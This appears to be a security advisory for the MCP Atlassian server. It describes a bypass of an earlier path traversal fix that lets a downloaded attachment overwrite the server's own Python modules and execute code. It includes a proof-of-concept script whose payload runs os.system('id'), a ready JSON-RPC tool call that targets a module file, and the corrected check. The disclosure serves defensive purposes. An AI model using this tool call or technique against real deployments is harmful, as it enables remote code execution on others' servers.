MCP Atlassian: Incomplete path traversal fix allows intra-CWD module overwrite and RCE (bypass of GHSA-xjgw-4wvw-rgm4)

def validate_safe_path(path, base_dir=None) -> Path:
    if base_dir is None:
        base_dir = os.getcwd()       # root of the issue
    resolved_base = Path(base_dir).resolve(strict=False)
    ...
    if not resolved_path.is_relative_to(resolved_base):
        raise ValueError("Path traversal detected")

validate_safe_path(target_path)   # line ~227, download_attachment()
validate_safe_path(target_dir)    # line ~270, download_content_attachments()

# poc_bypass.py
import os, tempfile, shutil, importlib.util
from pathlib import Path
from mcp_atlassian.utils.io import validate_safe_path  # real package

print(f"Module: {validate_safe_path.__module__}")

# Simulate /app (standard container CWD)
app_dir = tempfile.mkdtemp(prefix="mcp_atlassian_app_")
module_dir = os.path.join(app_dir, "src", "mcp_atlassian")
os.makedirs(module_dir)
module_path = os.path.join(module_dir, "attachments.py")
Path(module_path).write_text('def get_secret(): return "LEGITIMATE"\n')
os.chdir(app_dir)

# Control: classic traversal is blocked
try:
    validate_safe_path("/etc/passwd")
except ValueError:
    print("[OK]     /etc/passwd blocked")

# Bypass: intra-CWD path passes without exception
result = validate_safe_path(module_path)
print(f"[BYPASS] {result} - no exception raised")

# Overwrite module with attacker payload
# (content sourced from a Confluence attachment uploaded by the attacker)
Path(module_path).write_bytes(
    b"import os\n_PWNED=True\n"
    b"def get_secret():\n"
    b"    os.system('id')\n"
    b"    return 'PWNED'\n"
)
print("[WRITE]  Module overwritten with malicious payload")

# Simulate process restart / module reload
spec = importlib.util.spec_from_file_location("m", module_path)
mod = importlib.util.module_from_spec(spec)
spec.loader.exec_module(mod)   # os.system('id') executes here

print(f"[RCE]    get_secret() = {repr(mod.get_secret())}")
print(f"[RCE]    _PWNED = {mod._PWNED}")

shutil.rmtree(app_dir)

uvx --from mcp-atlassian python poc_bypass.py

{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/call",
  "params": {
    "name": "confluence_download_attachment",
    "arguments": {
      "page_id":       "<page_id>",
      "attachment_id": "<malicious_attachment_id>",
      "download_path": "/app/src/mcp_atlassian/confluence/attachments.py"
    }
  }
}

_DOWNLOAD_BASE = Path(
    os.environ.get("MCP_DOWNLOAD_DIR", "/tmp/mcp-downloads")
).resolve()

validate_safe_path(target_path, base_dir=_DOWNLOAD_BASE)